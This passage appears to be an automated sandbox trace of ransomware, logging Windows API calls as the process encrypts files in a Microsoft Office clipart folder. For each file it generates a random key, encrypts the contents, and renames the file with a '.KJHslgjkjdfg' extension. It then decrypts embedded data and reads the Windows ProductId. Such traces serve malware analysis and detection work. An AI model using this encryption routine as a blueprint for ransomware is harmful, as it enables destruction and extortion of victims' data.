pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0219.244] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.244] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0219.244] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.244] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.244] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.244] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.244] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.245] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.245] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.245] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xb96, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xb96, lpOverlapped=0x0) returned 1 [0219.245] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xba0, dwBufLen=0xba0 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xba0) returned 1 [0219.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.245] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xba0, lpOverlapped=0x0) returned 1 [0219.245] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.245] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xc64, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.245] SetEndOfFile (hFile=0x130) returned 1 [0219.247] GetProcessHeap () returned 0x990000 [0219.247] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0219.247] GetProcessHeap () returned 0x990000 [0219.247] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.247] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WHIRL2.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\whirl2.wmf.kjhslgjkjdfg")) returned 1 [0219.253] CloseHandle (hObject=0x130) returned 1 [0219.253] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x5e5c1270, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0xa16, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WING1.WMF", cAlternateFileName="")) returned 1 [0219.254] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.254] GetProcessHeap () returned 0x990000 [0219.254] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.254] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.254] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.254] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0219.256] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.256] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.256] GetProcessHeap () returned 0x990000 [0219.256] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0219.256] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0219.256] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.256] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0219.256] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.256] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.256] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.256] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.256] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.256] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.256] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.256] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0xa16, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0xa16, lpOverlapped=0x0) returned 1 [0219.256] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa20, dwBufLen=0xa20 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0xa20) returned 1 [0219.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.257] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0xa20, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0xa20, lpOverlapped=0x0) returned 1 [0219.257] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.257] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xae4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.257] SetEndOfFile (hFile=0x130) returned 1 [0219.258] GetProcessHeap () returned 0x990000 [0219.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0219.258] GetProcessHeap () returned 0x990000 [0219.258] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.258] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING1.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing1.wmf.kjhslgjkjdfg")) returned 1 [0219.259] CloseHandle (hObject=0x130) returned 1 [0219.259] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x708e7550, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x976, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WING2.WMF", cAlternateFileName="")) returned 1 [0219.259] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.260] GetProcessHeap () returned 0x990000 [0219.260] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.260] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.260] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.260] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xa, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xa, lpOverlapped=0x0) returned 1 [0219.262] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.262] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.262] GetProcessHeap () returned 0x990000 [0219.262] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x30) returned 0x9b4db8 [0219.262] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30, dwBufLen=0x30 | out: pbData=0x9b4db8*, pdwDataLen=0x29df258*=0x30) returned 1 [0219.262] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.262] WriteFile (in: hFile=0x130, lpBuffer=0x9b4db8*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b4db8*, lpNumberOfBytesWritten=0x29df270*=0x30, lpOverlapped=0x0) returned 1 [0219.262] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.262] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.263] WriteFile (in: hFile=0x130, lpBuffer=0x9b53e0*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b53e0*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.263] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.263] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4bf8, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.263] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.263] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x976, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x976, lpOverlapped=0x0) returned 1 [0219.263] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x980, dwBufLen=0x980 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x980) returned 1 [0219.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.263] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x980, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x980, lpOverlapped=0x0) returned 1 [0219.263] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.263] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0xa44, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.263] SetEndOfFile (hFile=0x130) returned 1 [0219.265] GetProcessHeap () returned 0x990000 [0219.265] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9b4db8 | out: hHeap=0x990000) returned 1 [0219.265] GetProcessHeap () returned 0x990000 [0219.265] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.265] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WING2.WMF.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wing2.wmf.kjhslgjkjdfg")) returned 1 [0219.266] CloseHandle (hObject=0x130) returned 1 [0219.266] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 1 [0219.266] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), dwDesiredAccess=0xc0000000, dwShareMode=0x4, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x130 [0219.268] GetProcessHeap () returned 0x990000 [0219.268] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x10) returned 0x9adfd0 [0219.268] CryptGenRandom (in: hProv=0x9acd90, dwLen=0x10, pbBuffer=0x9adfd0 | out: pbBuffer=0x9adfd0) returned 1 [0219.268] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df290 | out: lpNewFilePointer=0x0) returned 1 [0219.268] WriteFile (in: hFile=0x130, lpBuffer=0x29df2a0*, nNumberOfBytesToWrite=0xd, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df2a0*, lpNumberOfBytesWritten=0x29df270*=0xd, lpOverlapped=0x0) returned 1 [0219.270] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.270] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.270] GetProcessHeap () returned 0x990000 [0219.270] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.270] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40, dwBufLen=0x40 | out: pbData=0x9af7b0*, pdwDataLen=0x29df258*=0x40) returned 1 [0219.270] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.270] WriteFile (in: hFile=0x130, lpBuffer=0x9af7b0*, nNumberOfBytesToWrite=0x40, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9af7b0*, lpNumberOfBytesWritten=0x29df270*=0x40, lpOverlapped=0x0) returned 1 [0219.270] WriteFile (in: hFile=0x130, lpBuffer=0x29df278*, nNumberOfBytesToWrite=0x4, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df278*, lpNumberOfBytesWritten=0x29df270*=0x4, lpOverlapped=0x0) returned 1 [0219.270] WriteFile (in: hFile=0x130, lpBuffer=0x9adfd0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9adfd0*, lpNumberOfBytesWritten=0x29df270*=0x10, lpOverlapped=0x0) returned 1 [0219.270] WriteFile (in: hFile=0x130, lpBuffer=0x9b1ba8*, nNumberOfBytesToWrite=0x80, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x9b1ba8*, lpNumberOfBytesWritten=0x29df270*=0x80, lpOverlapped=0x0) returned 1 [0219.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x29df298 | out: lpNewFilePointer=0x0) returned 1 [0219.270] WriteFile (in: hFile=0x130, lpBuffer=0x29df288*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x29df288*, lpNumberOfBytesWritten=0x29df270*=0x8, lpOverlapped=0x0) returned 1 [0219.270] CryptImportKey (in: hProv=0x9acd90, pbData=0x9b4d80, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x29df274 | out: phKey=0x29df274*=0x9b6628) returned 1 [0219.270] CryptSetKeyParam (hKey=0x9b6628, dwParam=0x1, pbData=0x9adfd0, dwFlags=0x0) returned 1 [0219.270] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.270] ReadFile (in: hFile=0x130, lpBuffer=0x27d0020, nNumberOfBytesToRead=0x1b03, lpNumberOfBytesRead=0x29df27c, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesRead=0x29df27c*=0x1b03, lpOverlapped=0x0) returned 1 [0219.271] CryptEncrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b10, dwBufLen=0x1b10 | out: pbData=0x27d0020*, pdwDataLen=0x29df258*=0x1b10) returned 1 [0219.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.271] WriteFile (in: hFile=0x130, lpBuffer=0x27d0020*, nNumberOfBytesToWrite=0x1b10, lpNumberOfBytesWritten=0x29df270, lpOverlapped=0x0 | out: lpBuffer=0x27d0020*, lpNumberOfBytesWritten=0x29df270*=0x1b10, lpOverlapped=0x0) returned 1 [0219.271] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.271] SetFilePointerEx (in: hFile=0x130, liDistanceToMove=0x1be4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0219.272] SetEndOfFile (hFile=0x130) returned 1 [0219.274] GetProcessHeap () returned 0x990000 [0219.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9af7b0 | out: hHeap=0x990000) returned 1 [0219.274] GetProcessHeap () returned 0x990000 [0219.274] HeapFree (in: hHeap=0x990000, dwFlags=0x0, lpMem=0x9adfd0 | out: hHeap=0x990000) returned 1 [0219.274] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\WNTER_01.MID.KJHslgjkjdfg" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\wnter_01.mid.kjhslgjkjdfg")) returned 1 [0219.275] CloseHandle (hObject=0x130) returned 1 [0219.275] FindNextFileW (in: hFindFile=0x9b64e8, lpFindFileData=0x29df300 | out: lpFindFileData=0x29df300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xca0e1800, ftCreationTime.dwHighDateTime=0x1bd0320, ftLastAccessTime.dwLowDateTime=0x7090d6b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xca0e1800, ftLastWriteTime.dwHighDateTime=0x1bd0320, nFileSizeHigh=0x0, nFileSizeLow=0x1b03, dwReserved0=0x0, dwReserved1=0x2e0000, cFileName="WNTER_01.MID", cAlternateFileName="")) returned 0 [0219.275] GetProcessHeap () returned 0x990000 [0219.275] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7b0 [0219.275] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0219.275] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7b0, pdwDataLen=0x29df0a8 | out: pbData=0x9af7b0, pdwDataLen=0x29df0a8) returned 1 [0219.275] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.275] GetProcessHeap () returned 0x990000 [0219.275] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af7f8 [0219.276] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0219.276] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af7f8, pdwDataLen=0x29df0a8 | out: pbData=0x9af7f8, pdwDataLen=0x29df0a8) returned 1 [0219.276] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.276] GetProcessHeap () returned 0x990000 [0219.276] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x3c0) returned 0x9dc608 [0219.276] CryptImportKey (in: hProv=0x9acd90, pbData=0x29df040, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0219.276] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9dc608, pdwDataLen=0x29df0a8 | out: pbData=0x9dc608, pdwDataLen=0x29df0a8) returned 1 [0219.276] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.276] GetProcessHeap () returned 0x990000 [0219.276] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x40) returned 0x9af840 [0219.276] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0219.276] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9af840, pdwDataLen=0x29dec88 | out: pbData=0x9af840, pdwDataLen=0x29dec88) returned 1 [0219.276] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.276] GetProcessHeap () returned 0x990000 [0219.276] RtlAllocateHeap (HeapHandle=0x990000, Flags=0x0, Size=0x20) returned 0x9b18a0 [0219.276] CryptImportKey (in: hProv=0x9acd90, pbData=0x29dec18, dwDataLen=0x2c, hPubKey=0x0, dwFlags=0x0, phKey=0x9a8524 | out: phKey=0x9a8524*=0x9b6628) returned 1 [0219.276] CryptDecrypt (in: hKey=0x9b6628, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x9b18a0, pdwDataLen=0x29dec88 | out: pbData=0x9b18a0, pdwDataLen=0x29dec88) returned 1 [0219.276] CryptDestroyKey (hKey=0x9b6628) returned 1 [0219.276] RegOpenKeyExA (in: hKey=0x80000002, lpSubKey="SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion", ulOptions=0x0, samDesired=0x20119, phkResult=0x29dec84 | out: phkResult=0x29dec84*=0x130) returned 0x0 [0219.277] RegQueryValueExA (in: hKey=0x130, lpValueName="ProductId", lpReserved=0x0, lpType=0x0, lpData=0x29dec90, 